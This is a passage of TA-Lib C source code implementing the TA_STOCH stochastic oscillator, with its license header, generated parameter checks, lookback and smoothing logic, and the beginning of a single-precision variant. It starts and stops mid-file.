= bindingFailure;\n }\n }\n}\n"} {"text": "/* TA-LIB Copyright (c) 1999-2007, Mario Fortier\r\n * All rights reserved.\r\n *\r\n * Redistribution and use in source and binary forms, with or\r\n * without modification, are permitted provided that the following\r\n * conditions are met:\r\n *\r\n * - Redistributions of source code must retain the above copyright\r\n * notice, this list of conditions and the following disclaimer.\r\n *\r\n * - Redistributions in binary form must reproduce the above copyright\r\n * notice, this list of conditions and the following disclaimer in\r\n * the documentation and/or other materials provided with the\r\n * distribution.\r\n *\r\n * - Neither name of author nor the names of its contributors\r\n * may be used to endorse or promote products derived from this\r\n * software without specific prior written permission.\r\n *\r\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\r\n * ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\r\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\r\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\r\n * REGENTS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\r\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\r\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS\r\n * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\r\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\r\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE\r\n * OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\r\n * EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\r\n */\r\n\r\n/* List of contributors:\r\n *\r\n * Initial Name/description\r\n * -------------------------------------------------------------------\r\n * MF Mario Fortier\r\n *\r\n *\r\n * Change history:\r\n *\r\n * MMDDYY BY Description\r\n * -------------------------------------------------------------------\r\n * 112400 MF Template creation.\r\n * 052603 MF Adapt code to compile with .NET Managed C++\r\n *\r\n */\r\n\r\n/**** START GENCODE SECTION 1 - DO NOT DELETE THIS LINE ****/\r\n/* All code within this section is automatically\r\n * generated by gen_code. Any modification will be lost\r\n * next time gen_code is run.\r\n */\r\n/* Generated */ \r\n/* Generated */ #if defined( _MANAGED )\r\n/* Generated */ #include \"TA-Lib-Core.h\"\r\n/* Generated */ #define TA_INTERNAL_ERROR(Id) (RetCode::InternalError)\r\n/* Generated */ namespace TicTacTec { namespace TA { namespace Library {\r\n/* Generated */ #elif defined( _JAVA )\r\n/* Generated */ #include \"ta_defs.h\"\r\n/* Generated */ #include \"ta_java_defs.h\"\r\n/* Generated */ #define TA_INTERNAL_ERROR(Id) (RetCode.InternalError)\r\n/* Generated */ #else\r\n/* Generated */ #include <string.h>\r\n/* Generated */ #include <math.h>\r\n/* Generated */ #include \"ta_func.h\"\r\n/* Generated */ #endif\r\n/* Generated */ \r\n/* Generated */ #ifndef TA_UTILITY_H\r\n/* Generated */ #include \"ta_utility.h\"\r\n/* Generated */ #endif\r\n/* Generated */ \r\n/* Generated */ #ifndef TA_MEMORY_H\r\n/* Generated */ #include \"ta_memory.h\"\r\n/* Generated */ #endif\r\n/* Generated */ \r\n/* Generated */ #define TA_PREFIX(x) TA_##x\r\n/* Generated */ #define INPUT_TYPE double\r\n/* Generated */ \r\n/* Generated */ #if defined( _MANAGED )\r\n/* Generated */ int Core::StochLookback( int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowD_MAType ) /* Generated */ \r\n/* Generated */ #elif defined( _JAVA )\r\n/* Generated */ public int stochLookback( int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowD_MAType ) /* Generated */ \r\n/* Generated */ #else\r\n/* Generated */ int TA_STOCH_Lookback( int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ TA_MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ TA_MAType optInSlowD_MAType ) /* Generated */ \r\n/* Generated */ #endif\r\n/**** END GENCODE SECTION 1 - DO NOT DELETE THIS LINE ****/\r\n{\r\n /* insert local variable here */\r\n int retValue;\r\n\r\n/**** START GENCODE SECTION 2 - DO NOT DELETE THIS LINE ****/\r\n/* Generated */ #ifndef TA_FUNC_NO_RANGE_CHECK\r\n/* Generated */ /* min/max are checked for optInFastK_Period. */\r\n/* Generated */ if( (int)optInFastK_Period == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInFastK_Period = 5;\r\n/* Generated */ else if( ((int)optInFastK_Period < 1) || ((int)optInFastK_Period > 100000) )\r\n/* Generated */ return -1;\r\n/* Generated */ \r\n/* Generated */ /* min/max are checked for optInSlowK_Period. */\r\n/* Generated */ if( (int)optInSlowK_Period == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowK_Period = 3;\r\n/* Generated */ else if( ((int)optInSlowK_Period < 1) || ((int)optInSlowK_Period > 100000) )\r\n/* Generated */ return -1;\r\n/* Generated */ \r\n/* Generated */ #if !defined(_MANAGED) && !defined(_JAVA)\r\n/* Generated */ if( (int)optInSlowK_MAType == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowK_MAType = (TA_MAType)0;\r\n/* Generated */ else if( ((int)optInSlowK_MAType < 0) || ((int)optInSlowK_MAType > 8) )\r\n/* Generated */ return -1;\r\n/* Generated */ \r\n/* Generated */ #endif /* !defined(_MANAGED) && !defined(_JAVA)*/\r\n/* Generated */ /* min/max are checked for optInSlowD_Period. */\r\n/* Generated */ if( (int)optInSlowD_Period == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowD_Period = 3;\r\n/* Generated */ else if( ((int)optInSlowD_Period < 1) || ((int)optInSlowD_Period > 100000) )\r\n/* Generated */ return -1;\r\n/* Generated */ \r\n/* Generated */ #if !defined(_MANAGED) && !defined(_JAVA)\r\n/* Generated */ if( (int)optInSlowD_MAType == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowD_MAType = (TA_MAType)0;\r\n/* Generated */ else if( ((int)optInSlowD_MAType < 0) || ((int)optInSlowD_MAType > 8) )\r\n/* Generated */ return -1;\r\n/* Generated */ \r\n/* Generated */ #endif /* !defined(_MANAGED) && !defined(_JAVA)*/\r\n/* Generated */ #endif /* TA_FUNC_NO_RANGE_CHECK */\r\n/**** END GENCODE SECTION 2 - DO NOT DELETE THIS LINE ****/\r\n\r\n /* insert lookback code here. */\r\n \r\n /* Account for the initial data needed for Fast-K. */\r\n retValue = (optInFastK_Period - 1);\r\n \r\n /* Add the smoothing being done for %K slow */\r\n retValue += LOOKBACK_CALL(MA)( optInSlowK_Period, optInSlowK_MAType ); \r\n\r\n /* Add the smoothing being done for %D slow. */\r\n retValue += LOOKBACK_CALL(MA)( optInSlowD_Period, optInSlowD_MAType );\r\n\r\n return retValue;\r\n}\r\n\r\n/**** START GENCODE SECTION 3 - DO NOT DELETE THIS LINE ****/\r\n/*\r\n * TA_STOCH - Stochastic\r\n * \r\n * Input = High, Low, Close\r\n * Output = double, double\r\n * \r\n * Optional Parameters\r\n * -------------------\r\n * optInFastK_Period:(From 1 to 100000)\r\n * Time period for building the Fast-K line\r\n * \r\n * optInSlowK_Period:(From 1 to 100000)\r\n * Smoothing for making the Slow-K line. Usually set to 3\r\n * \r\n * optInSlowK_MAType:\r\n * Type of Moving Average for Slow-K\r\n * \r\n * optInSlowD_Period:(From 1 to 100000)\r\n * Smoothing for making the Slow-D line\r\n * \r\n * optInSlowD_MAType:\r\n * Type of Moving Average for Slow-D\r\n * \r\n * \r\n */\r\n/* Generated */ \r\n/* Generated */ #if defined( _MANAGED ) && defined( USE_SUBARRAY )\r\n/* Generated */ enum class Core::RetCode Core::Stoch( int startIdx,\r\n/* Generated */ int endIdx,\r\n/* Generated */ SubArray^ inHigh,\r\n/* Generated */ SubArray^ inLow,\r\n/* Generated */ SubArray^ inClose,\r\n/* Generated */ int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowD_MAType,\r\n/* Generated */ [Out]int% outBegIdx,\r\n/* Generated */ [Out]int% outNBElement,\r\n/* Generated */ cli::array<double>^ outSlowK,\r\n/* Generated */ cli::array<double>^ outSlowD )\r\n/* Generated */ #elif defined( _MANAGED )\r\n/* Generated */ enum class Core::RetCode Core::Stoch( int startIdx,\r\n/* Generated */ int endIdx,\r\n/* Generated */ cli::array<double>^ inHigh,\r\n/* Generated */ cli::array<double>^ inLow,\r\n/* Generated */ cli::array<double>^ inClose,\r\n/* Generated */ int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowD_MAType,\r\n/* Generated */ [Out]int% outBegIdx,\r\n/* Generated */ [Out]int% outNBElement,\r\n/* Generated */ cli::array<double>^ outSlowK,\r\n/* Generated */ cli::array<double>^ outSlowD )\r\n/* Generated */ #elif defined( _JAVA )\r\n/* Generated */ public RetCode stoch( int startIdx,\r\n/* Generated */ int endIdx,\r\n/* Generated */ double inHigh[],\r\n/* Generated */ double inLow[],\r\n/* Generated */ double inClose[],\r\n/* Generated */ int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowD_MAType,\r\n/* Generated */ MInteger outBegIdx,\r\n/* Generated */ MInteger outNBElement,\r\n/* Generated */ double outSlowK[],\r\n/* Generated */ double outSlowD[] )\r\n/* Generated */ #else\r\n/* Generated */ TA_RetCode TA_STOCH( int startIdx,\r\n/* Generated */ int endIdx,\r\n/* Generated */ const double inHigh[],\r\n/* Generated */ const double inLow[],\r\n/* Generated */ const double inClose[],\r\n/* Generated */ int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ TA_MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ TA_MAType optInSlowD_MAType,\r\n/* Generated */ int *outBegIdx,\r\n/* Generated */ int *outNBElement,\r\n/* Generated */ double outSlowK[],\r\n/* Generated */ double outSlowD[] )\r\n/* Generated */ #endif\r\n/**** END GENCODE SECTION 3 - DO NOT DELETE THIS LINE ****/\r\n{\r\n /* Insert local variables here. */\r\n ENUM_DECLARATION(RetCode) retCode;\r\n double lowest, highest, tmp, diff;\r\n ARRAY_REF( tempBuffer );\r\n int outIdx, lowestIdx, highestIdx;\r\n int lookbackTotal, lookbackK, lookbackKSlow, lookbackDSlow;\r\n int trailingIdx, today, i;\r\n #if !defined( _MANAGED ) && !defined(USE_SINGLE_PRECISION_INPUT) &&!defined(_JAVA)\r\n int bufferIsAllocated;\r\n #endif\r\n\r\n/**** START GENCODE SECTION 4 - DO NOT DELETE THIS LINE ****/\r\n/* Generated */ \r\n/* Generated */ #ifndef TA_FUNC_NO_RANGE_CHECK\r\n/* Generated */ \r\n/* Generated */ /* Validate the requested output range. */\r\n/* Generated */ if( startIdx < 0 )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_OUT_OF_RANGE_START_INDEX,OutOfRangeStartIndex);\r\n/* Generated */ if( (endIdx < 0) || (endIdx < startIdx))\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_OUT_OF_RANGE_END_INDEX,OutOfRangeEndIndex);\r\n/* Generated */ \r\n/* Generated */ #if !defined(_JAVA)\r\n/* Generated */ /* Verify required price component. */\r\n/* Generated */ if(!inHigh||!inLow||!inClose)\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ \r\n/* Generated */ #endif /* !defined(_JAVA)*/\r\n/* Generated */ /* min/max are checked for optInFastK_Period. */\r\n/* Generated */ if( (int)optInFastK_Period == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInFastK_Period = 5;\r\n/* Generated */ else if( ((int)optInFastK_Period < 1) || ((int)optInFastK_Period > 100000) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ \r\n/* Generated */ /* min/max are checked for optInSlowK_Period. */\r\n/* Generated */ if( (int)optInSlowK_Period == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowK_Period = 3;\r\n/* Generated */ else if( ((int)optInSlowK_Period < 1) || ((int)optInSlowK_Period > 100000) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ \r\n/* Generated */ #if !defined(_MANAGED) && !defined(_JAVA)\r\n/* Generated */ if( (int)optInSlowK_MAType == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowK_MAType = (TA_MAType)0;\r\n/* Generated */ else if( ((int)optInSlowK_MAType < 0) || ((int)optInSlowK_MAType > 8) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ \r\n/* Generated */ #endif /* !defined(_MANAGED) && !defined(_JAVA)*/\r\n/* Generated */ /* min/max are checked for optInSlowD_Period. */\r\n/* Generated */ if( (int)optInSlowD_Period == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowD_Period = 3;\r\n/* Generated */ else if( ((int)optInSlowD_Period < 1) || ((int)optInSlowD_Period > 100000) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ \r\n/* Generated */ #if !defined(_MANAGED) && !defined(_JAVA)\r\n/* Generated */ if( (int)optInSlowD_MAType == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowD_MAType = (TA_MAType)0;\r\n/* Generated */ else if( ((int)optInSlowD_MAType < 0) || ((int)optInSlowD_MAType > 8) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ \r\n/* Generated */ #endif /* !defined(_MANAGED) && !defined(_JAVA)*/\r\n/* Generated */ #if !defined(_JAVA)\r\n/* Generated */ if( !outSlowK )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ \r\n/* Generated */ if( !outSlowD )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ \r\n/* Generated */ #endif /* !defined(_JAVA) */\r\n/* Generated */ #endif /* TA_FUNC_NO_RANGE_CHECK */\r\n/* Generated */ \r\n/**** END GENCODE SECTION 4 - DO NOT DELETE THIS LINE ****/\r\n\r\n /* Insert TA function code here. */\r\n\r\n /* With stochastic, there is a total of 4 different lines that\r\n * are defined: FASTK, FASTD, SLOWK and SLOWD.\r\n *\r\n * The D is the signal line usually drawn over its\r\n * corresponding K function.\r\n *\r\n * (Today's Close - LowestLow)\r\n * FASTK(Kperiod) = --------------------------- * 100\r\n * (HighestHigh - LowestLow)\r\n * \r\n * FASTD(FastDperiod, MA type) = MA Smoothed FASTK over FastDperiod\r\n * \r\n * SLOWK(SlowKperiod, MA type) = MA Smoothed FASTK over SlowKperiod\r\n *\r\n * SLOWD(SlowDperiod, MA Type) = MA Smoothed SLOWK over SlowDperiod\r\n *\r\n * The HighestHigh and LowestLow are the extreme values among the\r\n * last 'Kperiod'.\r\n * \r\n * SLOWK and FASTD are equivalent when using the same period.\r\n *\r\n * The following shows how these four lines are made available in TA-LIB:\r\n *\r\n * TA_STOCH : Returns the SLOWK and SLOWD\r\n * TA_STOCHF : Returns the FASTK and FASTD\r\n *\r\n * The TA_STOCH function correspond to the more widely implemented version\r\n * found in many software/charting package. The TA_STOCHF is more rarely\r\n * used because its higher volatility cause often whipsaws.\r\n */\r\n\r\n /* Identify the lookback needed. */\r\n lookbackK = optInFastK_Period-1;\r\n lookbackKSlow = LOOKBACK_CALL(MA)( optInSlowK_Period, optInSlowK_MAType );\r\n lookbackDSlow = LOOKBACK_CALL(MA)( optInSlowD_Period, optInSlowD_MAType );\r\n lookbackTotal = lookbackK + lookbackDSlow + lookbackKSlow;\r\n\r\n /* Move up the start index if there is not\r\n * enough initial data.\r\n */\r\n if( startIdx < lookbackTotal )\r\n startIdx = lookbackTotal;\r\n\r\n /* Make sure there is still something to evaluate. */\r\n if( startIdx > endIdx )\r\n {\r\n /* Succeed... but no data in the output. */\r\n VALUE_HANDLE_DEREF_TO_ZERO(outBegIdx);\r\n VALUE_HANDLE_DEREF_TO_ZERO(outNBElement);\r\n return ENUM_VALUE(RetCode,TA_SUCCESS,Success);\r\n }\r\n\r\n /* Do the K calculation:\r\n *\r\n * Kt = 100 x ((Ct-Lt)/(Ht-Lt))\r\n *\r\n * Kt is today stochastic\r\n * Ct is today closing price.\r\n * Lt is the lowest price of the last K Period (including today)\r\n * Ht is the highest price of the last K Period (including today)\r\n */\r\n\r\n /* Proceed with the calculation for the requested range.\r\n * Note that this algorithm allows the input and\r\n * output to be the same buffer.\r\n */\r\n outIdx = 0;\r\n\r\n /* Calculate just enough K for ending up with the caller \r\n * requested range. (The range of k must consider all\r\n * the lookback involve with the smoothing).\r\n */\r\n trailingIdx = startIdx-lookbackTotal;\r\n today = trailingIdx+lookbackK;\r\n lowestIdx = highestIdx = -1;\r\n diff = highest = lowest = 0.0;\r\n\r\n /* Allocate a temporary buffer large enough to\r\n * store the K.\r\n *\r\n * If the output is the same as the input, great\r\n * we just save ourself one memory allocation.\r\n */\r\n #if !defined( _MANAGED ) && !defined(USE_SINGLE_PRECISION_INPUT) && !defined( _JAVA )\r\n bufferIsAllocated = 0;\r\n #endif\r\n\r\n #if defined(USE_SINGLE_PRECISION_INPUT) || defined( USE_SUBARRAY )\r\n /* Always alloc, since output is of different type and\r\n * its allocated size is not guarantee to be as large as\r\n * the input.\r\n */\r\n ARRAY_ALLOC( tempBuffer, endIdx-today+1 );\r\n #else\r\n if( (outSlowK == inHigh) || \r\n (outSlowK == inLow) || \r\n (outSlowK == inClose) )\r\n {\r\n tempBuffer = outSlowK;\r\n }\r\n else if( (outSlowD == inHigh) ||\r\n (outSlowD == inLow) ||\r\n (outSlowD == inClose) )\r\n {\r\n tempBuffer = outSlowD;\r\n }\r\n else\r\n {\r\n #if !defined( _MANAGED ) && !defined(_JAVA)\r\n bufferIsAllocated = 1;\r\n #endif\r\n ARRAY_ALLOC( tempBuffer, endIdx-today+1 );\r\n }\r\n #endif\r\n\r\n /* Do the K calculation */\r\n while( today <= endIdx )\r\n {\r\n /* Set the lowest low */\r\n tmp = inLow[today];\r\n if( lowestIdx < trailingIdx )\r\n {\r\n lowestIdx = trailingIdx;\r\n lowest = inLow[lowestIdx];\r\n i = lowestIdx;\r\n while( ++i<=today )\r\n {\r\n tmp = inLow[i];\r\n if( tmp < lowest )\r\n {\r\n lowestIdx = i;\r\n lowest = tmp;\r\n }\r\n }\r\n diff = (highest - lowest)/100.0;\r\n }\r\n else if( tmp <= lowest )\r\n {\r\n lowestIdx = today;\r\n lowest = tmp;\r\n diff = (highest - lowest)/100.0;\r\n }\r\n\r\n /* Set the highest high */\r\n tmp = inHigh[today];\r\n if( highestIdx < trailingIdx )\r\n {\r\n highestIdx = trailingIdx;\r\n highest = inHigh[highestIdx];\r\n i = highestIdx;\r\n while( ++i<=today )\r\n {\r\n tmp = inHigh[i];\r\n if( tmp > highest )\r\n {\r\n highestIdx = i;\r\n highest = tmp;\r\n }\r\n }\r\n diff = (highest - lowest)/100.0;\r\n }\r\n else if( tmp >= highest )\r\n {\r\n highestIdx = today;\r\n highest = tmp;\r\n diff = (highest - lowest)/100.0;\r\n }\r\n\r\n /* Calculate stochastic. */\r\n if( diff != 0.0 )\r\n tempBuffer[outIdx++] = (inClose[today]-lowest)/diff;\r\n else\r\n tempBuffer[outIdx++] = 0.0;\r\n\r\n trailingIdx++;\r\n today++; \r\n }\r\n\r\n /* Un-smoothed K calculation completed. This K calculation is not returned\r\n * to the caller. It is always smoothed and then return.\r\n * Some documentation will refer to the smoothed version as being \r\n * \"K-Slow\", but often this end up to be shorten to \"K\".\r\n */\r\n retCode = FUNCTION_CALL_DOUBLE(MA)( 0, outIdx-1,\r\n tempBuffer, optInSlowK_Period,\r\n optInSlowK_MAType, \r\n outBegIdx, outNBElement, tempBuffer );\r\n\r\n\r\n if( (retCode != ENUM_VALUE(RetCode,TA_SUCCESS,Success) ) || ((int)VALUE_HANDLE_DEREF(outNBElement) == 0) )\r\n {\r\n #if defined(USE_SINGLE_PRECISION_INPUT)\r\n ARRAY_FREE( tempBuffer ); \r\n #else\r\n ARRAY_FREE_COND( bufferIsAllocated, tempBuffer ); \r\n #endif\r\n /* Something wrong happen? No further data? */\r\n VALUE_HANDLE_DEREF_TO_ZERO(outBegIdx);\r\n VALUE_HANDLE_DEREF_TO_ZERO(outNBElement);\r\n return retCode; \r\n }\r\n\r\n /* Calculate the %D which is simply a moving average of\r\n * the already smoothed %K.\r\n */\r\n retCode = FUNCTION_CALL_DOUBLE(MA)( 0, (int)VALUE_HANDLE_DEREF(outNBElement)-1,\r\n tempBuffer, optInSlowD_Period,\r\n optInSlowD_MAType,\r\n outBegIdx, outNBElement, outSlowD );\r\n\r\n /* Copy tempBuffer into the caller buffer. \r\n * (Calculation could not be done directly in the\r\n * caller buffer because more input data then the\r\n * requested range was needed for doing %D).\r\n */\r\n ARRAY_MEMMOVE( outSlowK, 0, tempBuffer,lookbackDSlow,(int)VALUE_HANDLE_DEREF(outNBElement));\r\n\r\n /* Don't need K anymore, free it if it was allocated here. */\r\n #if defined(USE_SINGLE_PRECISION_INPUT)\r\n ARRAY_FREE( tempBuffer ); \r\n #else\r\n ARRAY_FREE_COND( bufferIsAllocated, tempBuffer ); \r\n #endif\r\n\r\n if( retCode != ENUM_VALUE(RetCode,TA_SUCCESS,Success) )\r\n {\r\n /* Something wrong happen while processing %D? */\r\n VALUE_HANDLE_DEREF_TO_ZERO(outBegIdx);\r\n VALUE_HANDLE_DEREF_TO_ZERO(outNBElement);\r\n return retCode;\r\n }\r\n\r\n /* Note: Keep the outBegIdx relative to the\r\n * caller input before returning.\r\n */\r\n VALUE_HANDLE_DEREF(outBegIdx) = startIdx;\r\n\r\n return ENUM_VALUE(RetCode,TA_SUCCESS,Success);\r\n}\r\n\r\n\r\n/**** START GENCODE SECTION 5 - DO NOT DELETE THIS LINE ****/\r\n/* Generated */ \r\n/* Generated */ #define USE_SINGLE_PRECISION_INPUT\r\n/* Generated */ #if !defined( _MANAGED ) && !defined( _JAVA )\r\n/* Generated */ #undef TA_PREFIX\r\n/* Generated */ #define TA_PREFIX(x) TA_S_##x\r\n/* Generated */ #endif\r\n/* Generated */ #undef INPUT_TYPE\r\n/* Generated */ #define INPUT_TYPE float\r\n/* Generated */ #if defined( _MANAGED )\r\n/* Generated */ enum class Core::RetCode Core::Stoch( int startIdx,\r\n/* Generated */ int endIdx,\r\n/* Generated */ cli::array<float>^ inHigh,\r\n/* Generated */ cli::array<float>^ inLow,\r\n/* Generated */ cli::array<float>^ inClose,\r\n/* Generated */ int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowD_MAType,\r\n/* Generated */ [Out]int% outBegIdx,\r\n/* Generated */ [Out]int% outNBElement,\r\n/* Generated */ cli::array<double>^ outSlowK,\r\n/* Generated */ cli::array<double>^ outSlowD )\r\n/* Generated */ #elif defined( _JAVA )\r\n/* Generated */ public RetCode stoch( int startIdx,\r\n/* Generated */ int endIdx,\r\n/* Generated */ float inHigh[],\r\n/* Generated */ float inLow[],\r\n/* Generated */ float inClose[],\r\n/* Generated */ int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ MAType optInSlowD_MAType,\r\n/* Generated */ MInteger outBegIdx,\r\n/* Generated */ MInteger outNBElement,\r\n/* Generated */ double outSlowK[],\r\n/* Generated */ double outSlowD[] )\r\n/* Generated */ #else\r\n/* Generated */ TA_RetCode TA_S_STOCH( int startIdx,\r\n/* Generated */ int endIdx,\r\n/* Generated */ const float inHigh[],\r\n/* Generated */ const float inLow[],\r\n/* Generated */ const float inClose[],\r\n/* Generated */ int optInFastK_Period, /* From 1 to 100000 */\r\n/* Generated */ int optInSlowK_Period, /* From 1 to 100000 */\r\n/* Generated */ TA_MAType optInSlowK_MAType,\r\n/* Generated */ int optInSlowD_Period, /* From 1 to 100000 */\r\n/* Generated */ TA_MAType optInSlowD_MAType,\r\n/* Generated */ int *outBegIdx,\r\n/* Generated */ int *outNBElement,\r\n/* Generated */ double outSlowK[],\r\n/* Generated */ double outSlowD[] )\r\n/* Generated */ #endif\r\n/* Generated */ {\r\n/* Generated */ ENUM_DECLARATION(RetCode) retCode;\r\n/* Generated */ double lowest, highest, tmp, diff;\r\n/* Generated */ ARRAY_REF( tempBuffer );\r\n/* Generated */ int outIdx, lowestIdx, highestIdx;\r\n/* Generated */ int lookbackTotal, lookbackK, lookbackKSlow, lookbackDSlow;\r\n/* Generated */ int trailingIdx, today, i;\r\n/* Generated */ #if !defined( _MANAGED ) && !defined(USE_SINGLE_PRECISION_INPUT) &&!defined(_JAVA)\r\n/* Generated */ int bufferIsAllocated;\r\n/* Generated */ #endif\r\n/* Generated */ #ifndef TA_FUNC_NO_RANGE_CHECK\r\n/* Generated */ if( startIdx < 0 )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_OUT_OF_RANGE_START_INDEX,OutOfRangeStartIndex);\r\n/* Generated */ if( (endIdx < 0) || (endIdx < startIdx))\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_OUT_OF_RANGE_END_INDEX,OutOfRangeEndIndex);\r\n/* Generated */ #if !defined(_JAVA)\r\n/* Generated */ if(!inHigh||!inLow||!inClose)\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ #endif \r\n/* Generated */ if( (int)optInFastK_Period == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInFastK_Period = 5;\r\n/* Generated */ else if( ((int)optInFastK_Period < 1) || ((int)optInFastK_Period > 100000) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ if( (int)optInSlowK_Period == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowK_Period = 3;\r\n/* Generated */ else if( ((int)optInSlowK_Period < 1) || ((int)optInSlowK_Period > 100000) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ #if !defined(_MANAGED) && !defined(_JAVA)\r\n/* Generated */ if( (int)optInSlowK_MAType == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowK_MAType = (TA_MAType)0;\r\n/* Generated */ else if( ((int)optInSlowK_MAType < 0) || ((int)optInSlowK_MAType > 8) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ #endif \r\n/* Generated */ if( (int)optInSlowD_Period == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowD_Period = 3;\r\n/* Generated */ else if( ((int)optInSlowD_Period < 1) || ((int)optInSlowD_Period > 100000) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ #if !defined(_MANAGED) && !defined(_JAVA)\r\n/* Generated */ if( (int)optInSlowD_MAType == TA_INTEGER_DEFAULT )\r\n/* Generated */ optInSlowD_MAType = (TA_MAType)0;\r\n/* Generated */ else if( ((int)optInSlowD_MAType < 0) || ((int)optInSlowD_MAType > 8) )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ #endif \r\n/* Generated */ #if !defined(_JAVA)\r\n/* Generated */ if( !outSlowK )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ if( !outSlowD )\r\n/* Generated */ return ENUM_VALUE(RetCode,TA_BAD_PARAM,BadParam);\r\n/* Generated */ #endif \r\n/* Generated */ #endif \r\n/* Generated */ lookbackK = optInFastK_Period-1;\r\n/* Generated */ lookbackKSlow = LOOKBACK_CALL(MA)( optInSlowK_Period, optInSlowK_MAType );\r\n/* Generated */ lookbackDSlow = LOOKBACK_CALL(MA)( optInSlowD_Period, optInSlowD_MAType );\r\n/* Generated */ lookbackTotal = lookbackK + lookbackDSlow + lookbackKSlow;\r\n/* Generated */ if( startIdx < lookbackTotal )\r\n/* Generated */ startIdx = lookbackTotal;\r\n/* Generated */ if( startIdx > endIdx )\r\n/* 